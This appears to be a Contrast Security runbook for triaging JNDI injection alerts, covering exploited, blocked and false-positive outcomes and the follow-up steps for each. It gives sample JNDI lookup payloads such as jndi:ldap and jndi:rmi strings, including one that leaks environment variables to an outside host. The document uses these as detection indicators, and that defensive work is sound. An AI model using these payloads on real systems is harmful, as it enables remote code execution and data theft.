Skip to content

Latest commit

 

History

History
238 lines (145 loc) · 11.5 KB

jndi-injection.md

File metadata and controls

238 lines (145 loc) · 11.5 KB
layout title description
runbook
JNDI Injection
Guide for addressing attacks where malicious actors exploit JNDI lookups to achieve remote code execution or data exfiltration through malicious JNDI servers

JNDI Injection Runbook

JNDI injection is a malicious technique where attackers exploit vulnerabilities in web applications to influence the server used in a JNDI lookup. Where an attacker can influence the server the JNDI Lookup is sent to, it is possible to get the server to connect to a malicious JNDI Server which returns a malicious class which when loaded will give the attacker Remote Code Execution on the impacted server. Also in the case of infamous log4shell vulnerability, as well as RCE, it is possible to exfiltrate data fro the impacted server.

Example Event - Exploited outcome JNDI Injection
Oct 17 10:53:34 172.19.0.2 CEF:0|Contrast Security|Contrast Agent Java|6.7.0|SECURITY|The input UNKNOWN had a value that successfully exploited jndi-injection - null|WARN|pri=jndi-injection src=172.19.0.5 spt=8081 request=/registerEmail requestMethod=POST app=Petclinic-burp-demo-jb-2-Email-Service outcome=EXPLOITED

Example Event - Blocked outcome JNDI Injection
Oct 17 12:04:07 172.19.0.2 CEF:0|Contrast Security|Contrast Agent Java|6.7.0|SECURITY|The input UNKNOWN had a value that successfully exploited jndi-injection - null|WARN|pri=jndi-injection src=172.19.0.5 spt=8081 request=/registerEmail requestMethod=POST app=Petclinic-burp-demo-jb-2-Email-Service outcome=BLOCKED


What is the “outcome” of the event you are triaging? (click to proceed)

Exploited

An "Exploited" outcome means Contrast detected an input coming into an application that is then used to create a JNDI Query with the protocol RMI or LDAP.

To verify this is a true positive, review the following attributes of the event for common indicators:

  • An unknown LDAP or RMI Server.


Examples:

  • jndi:ldap://example.com:1389/jdk8
  • jndi:rmi://example.com:1389/jdk8
  • jndi:ldap://${env:USER}.${env:USERNAME}.example.com:1389/


Does the event appear to be a true positive? (click to proceed)

Blocked

"Blocked" outcome means Contrast detected an input coming into an application that is then used to create a JNDI Query with the protocol RMI or LDAP and Contrast stopped the Query from executing.

To verify this is a true positive, review the following attributes of the event:

  • An unknown LDAP or RMI Server.


Examples:

  • jndi:ldap://example.com:1389/jdk8
  • jndi:rmi://example.com:1389/jdk8
  • jndi:ldap://${env:USER}.${env:USERNAME}.example.com:1389/


Is the event a true positive? (click to proceed)

Success

“Success" means that Contrast's security measures functioned as intended, preventing unauthorized access or potentially malicious activity from reaching the application. This could be due to a virtual patch, IP block, or bot block rule being triggered.

Generally, these events don't necessitate action because they signify the system is working correctly.

However, further investigation may be beneficial in specific scenarios to gain more insights or proactively enhance security:

  • Should the event have been blocked?:
    • If the event is from an IP block:
      • Correlate the IP address with other events to identify any attempted malicious actions.
      • Look up the IP address's reputation and origin to determine if it's known for malicious activity.
      • Check if the IP is listed on any other denylists across your systems.
    • If the event is from a Virtual Patch:
      • Correlate the event with any exploited or probed events.
      • Confirm if the virtual patch is protecting a known vulnerability in the application.
    • If the event is from a Bot Block:
      • Analyze the user-agent header of the HTTP request. Only requests originating from known scanning, fuzzing, or malicious user-agents should be blocked.


If the event appears to be for legitimate traffic, an exclusion can be configured.


Proceed to Post-Incident Activities

Exploited True Positive

It is possible that the event is a True Positive, but is benign. A Benign True Positive is when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams.

If the event appears to be a Benign True Positive, click here.


If it does not appear to be a Benign True Positive, the most immediate action to stop an "active" attack would be to block the current attacker of the exploited event, while further triage could result in a virtual patch/enabling block mode for the rule:

  • Is the attack originating from a specific IP[s] that is a real external IP address (not internal load balancer or network device) and not the public IP address for a large company network?
  • Are all of the events originating from the same application user account?
    • Determine if the account is a legitimate account
    • If so, attempt to help them recover the account by contacting and authenticating the legitimate user, arranging to change their credentials, and recover from any damage.
    • If not, consider the following options:
      • Ban the account
      • Disable the account
      • Delete the account



Once the current attack has been stopped, consider taking additional steps to prevent future exploitation.

  • If the only “Exploited” events for this rule are true positives, then the rule can be switched to “Block” mode which will prevent future exploitation.
  • If there are other “Exploited” events that appear to be legitimate, benign traffic, then “Block” mode would block those events as well, which could have negative impact to the application.
    • Before enabling “Block” mode for this situation, you must first exclude the legitimate, benign traffic being caught in the rule.
    • Alternatively, you can set up a Virtual Patch that only allows the legitimate, benign traffic through and any non-matches will be blocked.

If none of the above options are satisfactory and it's perceived the application is at great risk, you can consider shutting down the application or removing network connectivity.



Post Containment

  • If confirmed this is a True Positive, it should be raised with the appsec/dev teams to get fixed. Useful information for those teams would be:

    • Application name
    • Is app in production, development, staging, etc
    • Affected URL
    • Attack payload
    • Stack trace of the request

  • To better understand the extent of the incident and to ensure the attack is no longer occurring, look for other IOCs:

    • Did the same IP Address Generate Other Alerts?
    • Is the vulnerability being exploited by other actors?
    • Spike in traffic or repeated access patterns to the vulnerable URL
    • Correlate exploited events with any "probed" or "blocked" events
    • If the attack was able to execute commands on the server, the server may need to be considered compromised and reviewed for persistence and other lateral movement.



Proceed to Post-Incident Activities

Exploited False Positive

If the event seems to be a False Positive, consider the following options:


Proceed to Post-Incident Activities

Blocked True Positive

It is possible that the event is a True Positive, but benign. A Benign True Positive is when an application’s design relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams.

If the event appears to be a Benign True Positive, click here.

If it does not appear to be a Benign True Positive, consider the following options:

  • If one IP address is generating a lot of blocked events, it's probably worthwhile to block it.
  • Notify Dev/Appsec team of Vulnerability. Useful information for those teams would be:
    • Application name
    • Is app in production, development, staging, etc
    • Affected URL
    • payload
    • Stack trace of the request
  • Look for IOCs of further attacks in other parts/inputs of the application
    • Other blocked or probed events?
    • Did anything show up as "exploited" indicating a different rule did not have blocking enabled?
  • Ignore

Proceed to Post-Incident Activities

Blocked False Positive

If the event seems to be a False Positive, then Contrast may be blocking legitimate usage of the application, therefore negatively impacting it.

  • Create an exclusion to allow the legitimate traffic through so that you can continue to be protected by “Block” mode without the negative impact.
  • Alternatively, you can set up a Virtual Patch that only allows legitimate traffic through and any non-matches (attack traffic) will be blocked.
  • If neither of the above options are satisfactory and the negative impact of the application must be avoided, you can switch the rule to “Monitor” mode.

Proceed to Post-Incident Activities

Benign True Positive

To review, a Benign True Positive occurs when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. Consider the following options:

  • Ignore
  • Create Exclusion
  • Work with the application developer on alternative implementations that do not pose such risk to the application, but meets the business needs.

Post-Incident Activities

  • Documentation
    • Incident Report: Document the incident, including findings, raw events and alerts, actions taken, assets impacted, and lessons learned.
    • Update Documentation: Keep security runbooks and documentation up to date.
  • Communication
    • Notify Stakeholders: Inform relevant stakeholders about the incident and steps taken.
    • User Notification: Notify affected users if there was a data breach.
  • Review and Improve
    • Review Response: Conduct a post-mortem to review the response and identify improvement areas.
    • Enhance Security Posture: Implement additional security measures and improve monitoring.